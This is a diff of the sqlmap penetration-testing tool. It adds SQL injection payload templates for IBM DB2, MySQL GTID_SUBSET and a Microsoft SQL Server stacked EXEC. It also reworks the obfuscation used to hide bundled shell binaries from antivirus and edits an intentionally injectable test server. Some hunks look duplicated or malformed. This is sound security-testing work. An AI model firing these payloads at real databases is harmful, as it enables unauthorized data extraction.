            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1332,6 +1328,44 @@ Tag: <test>
        </details>
    </test>
    <test>
        <title>IBM DB2 boolean-based blind - ORDER BY clause</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>3</clause>
        <where>1</where>
        <vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
        <request>
            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
        </request>
        <response>
            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
        <stype>1</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>3</clause>
        <where>1</where>
        <vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
        <request>
            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
        </request>
        <response>
            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <!-- Works in MySQL, Oracle, etc. -->
    <test>
        <title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
@@ -1452,7 +1486,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1474,7 +1507,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -91,6 +91,46 @@
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3,8,9</clause>
        <where>1</where>
        <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1,8,9</clause>
        <where>1</where>
        <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
@@ -404,7 +444,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -425,7 +464,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -446,7 +484,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -467,7 +504,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -488,7 +524,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -509,7 +544,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -672,7 +706,7 @@
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
@@ -689,9 +723,9 @@
    <test>
        <title>Firebird OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
        <risk>3</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
@@ -710,7 +744,7 @@
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
@@ -727,9 +761,9 @@
    <test>
        <title>MonetDB OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
        <risk>3</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
@@ -748,7 +782,7 @@
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
-        <clause>1,8,9</clause>
+        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
        <request>
@@ -765,9 +799,9 @@
    <test>
        <title>Vertica OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
        <risk>3</risk>
-        <clause>1,8,9</clause>
+        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
        <request>
@@ -780,6 +814,45 @@
            <dbms>Vertica</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access,
         and SAP MaxDB - no known techniques at this time
@@ -853,6 +926,26 @@
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
        <stype>2</stype>
@@ -1000,7 +1093,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1021,7 +1113,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1062,6 +1153,25 @@
            <dbms>Firebird</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 error-based - Parameter replace</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <!-- End of error-based tests - Parameter replace -->
    <!-- Error-based tests - ORDER BY, GROUP BY clause -->
@@ -1105,6 +1215,26 @@
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
@@ -1205,7 +1335,6 @@
        </details>
    </test>
    <test>
        <title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
        <stype>2</stype>
@@ -1261,7 +1390,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1289,7 +1417,7 @@
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
-        <clause>2,3</clause>
+        <clause>3</clause>
        <where>1</where>
        <vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
        <request>
@@ -1302,9 +1430,51 @@
            <dbms>Firebird</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 error-based - ORDER BY clause</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>3</clause>
        <where>1</where>
        <vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access
         and SAP MaxDB - no known techniques at this time
    -->
    <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
    <!-- Error-based tests - stacking -->
    <test>
        <title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1-8</clause>
        <where>1</where>
        <vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
        <request>
            <payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
            <comment>--</comment>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
        </details>
    </test>
    <!-- End of error-based tests - stacking -->
 </root>
--- a/data/xml/payloads/inline_query.xml
+++ b/data/xml/payloads/inline_query.xml
@@ -73,7 +73,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
--- a/data/xml/payloads/stacked_queries.xml
+++ b/data/xml/payloads/stacked_queries.xml
@@ -264,7 +264,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -286,7 +285,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -307,7 +305,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -328,7 +325,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
--- a/data/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@@ -588,7 +588,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -610,7 +609,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -631,7 +629,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -652,7 +649,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -674,7 +670,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -696,7 +691,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1638,7 +1632,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1936,7 +1929,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -301,8 +301,8 @@
            <blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
        </columns>
        <dump_table>
-            <inband query="SELECT %s FROM %s"/>
+            <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
-            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
        </dump_table>
        <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
        <search_db>
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -6,14 +6,17 @@
 # Version 1.3 (2019-01-05)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
 # Version 1.2 (2018-01-08)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
 # Version 1.1 (2017-04-07)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
 # Version 1.0 (2016-02-27)
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
 Sherif El-Deeb, <archeldeeb(at)gmail.com>
 * for reporting a minor bug
 Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
 * for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
 Stefano Di Paola, <stefano.dipaola(at)wisec.it>
 * for suggesting good features
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
 Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
 * for contributing a Portuguese translation of README.md
 Francesco Marano, <francesco.mrn24(at)gmail.com>
 * for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
 Ahmad Maulana, <matdhule(at)gmail.com>
 * for contributing a tamper script halfversionedmorekeywords.py
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
 Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
 * for reporting a minor bug
 Henri Salo <henri(at)nerv.fi>
 * for a donation
 Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
 * for reporting a minor bug
--- a/doc/THIRD-PARTY.md
+++ b/doc/THIRD-PARTY.md
@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
 * The `bottle` web framework library located under `thirdparty/bottle/`.
  Copyright (C) 2012, Marcel Hellkamp.
 * The `identYwaf` library located under `thirdparty/identywaf/`.
-  Copyright (C) 2019, Miroslav Stampar.
+  Copyright (C) 2019-2020, Miroslav Stampar.
 * The `ordereddict` library located under `thirdparty/odict/`.
  Copyright (C) 2009, Raymond Hettinger.
 * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
--- a/doc/translations/README-fr-FR.md
+++ b/doc/translations/README-fr-FR.md
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
    python sqlmap.py -hh
-Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
+Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
 Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 Liens
--- a/doc/translations/README-id-ID.md
+++ b/doc/translations/README-id-ID.md
@@ -2,7 +2,7 @@
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
-sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. 
+sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. 
 Tangkapan Layar
 ----
@@ -43,7 +43,7 @@ Tautan
 * Situs: http://sqlmap.org
 * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
 * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
 * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
 Instalação
 ----
-Você pode baixar o arquivo tar mais recente clicando [aqui]
+Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
 (https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
 De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -19,28 +19,26 @@ from optparse import OptionParser
 if sys.version_info >= (3, 0):
    xrange = range
    ord = lambda _: _
-def hideAscii(data):
+KEY = b"MOZFqVjlk1CY436G"
    retVal = b""
    for i in xrange(len(data)):
        value = data[i] if isinstance(data[i], int) else ord(data[i])
        retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
-    return retVal
+def xor(message, key):
    return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
 def cloak(inputFile=None, data=None):
    if data is None:
        with open(inputFile, "rb") as f:
            data = f.read()
-    return hideAscii(zlib.compress(data))
+    return xor(zlib.compress(data), KEY)
 def decloak(inputFile=None, data=None):
    if data is None:
        with open(inputFile, "rb") as f:
            data = f.read()
    try:
-        data = zlib.decompress(hideAscii(data))
+        data = zlib.decompress(xor(data, KEY))
    except Exception as ex:
        print(ex)
        print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
 def main():
    usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
-    parser = OptionParser(usage=usage, version='0.1')
+    parser = OptionParser(usage=usage, version='0.2')
    try:
        parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
--- a/extra/icmpsh/icmpsh.exe_
+++ b/extra/icmpsh/icmpsh.exe_
--- a/extra/runcmd/runcmd.exe_
+++ b/extra/runcmd/runcmd.exe_
--- a/extra/shellcodeexec/linux/shellcodeexec.x32_
+++ b/extra/shellcodeexec/linux/shellcodeexec.x32_
--- a/extra/shellcodeexec/linux/shellcodeexec.x64_
+++ b/extra/shellcodeexec/linux/shellcodeexec.x64_
--- a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
+++ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
--- a/extra/shutils/recloak.sh
+++ b/extra/shutils/recloak.sh
@@ -0,0 +1,16 @@
 #!/bin/bash
 # NOTE: this script is for dev usage after AV something something
 DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
 cd $DIR/../..
 for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
 cd $DIR/../cloak
 sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
 cd $DIR/../..
 for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
 git clean -f > /dev/null
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
 from __future__ import print_function
 import base64
 import json
 import re
 import sqlite3
@@ -18,6 +19,7 @@ import traceback
 PY3 = sys.version_info >= (3, 0)
 UNICODE_ENCODING = "utf-8"
 DEBUG = False
 if PY3:
    from http.client import INTERNAL_SERVER_ERROR
@@ -83,7 +85,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
        try:
            HTTPServer.finish_request(self, *args, **kwargs)
        except Exception:
-            traceback.print_exc()
+            if DEBUG:
                traceback.print_exc()
 class ReqHandler(BaseHTTPRequestHandler):
    def do_REQUEST(self):
@@ -131,7 +134,7 @@ class ReqHandler(BaseHTTPRequestHandler):
                self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
                self.send_header("Connection", "close")
                self.end_headers()
-                self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
+                self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
            else:
                code, output = OK, ""
@@ -144,19 +147,27 @@ class ReqHandler(BaseHTTPRequestHandler):
                        if "query" in self.params:
                            _cursor.execute(self.params["query"])
                        elif "id" in self.params:
-                            _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
+                            if "base64" in self.params:
                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
                            else:
                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                        results = _cursor.fetchall()
-                    output += "<b>SQL results:</b>\n"
+                    output += "<b>SQL results:</b><br>\n"
                    output += "<table border=\"1\">\n"
-                    for row in results:
+                    if results:
-                        output += "<tr>"
+                        output += "<table border=\"1\">\n"
-                        for value in row:
+
-                            output += "<td>%s</td>" % value
+                        for row in results:
-                        output += "</tr>\n"
+                            output += "<tr>"
                            for value in row:
                                output += "<td>%s</td>" % value
                            output += "</tr>\n"
                        output += "</table>\n"
                    else:
                        output += "no results found"
                    output += "</table>\n"
                    output += "</body></html>"
                except Exception as ex:
                    code = INTERNAL_SERVER_ERROR
@@ -221,7 +232,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
    global _server
    try:
        _server = ThreadingServer((address, port), ReqHandler)
-        print("[i] running HTTP server at '%s:%d'" % (address, port))
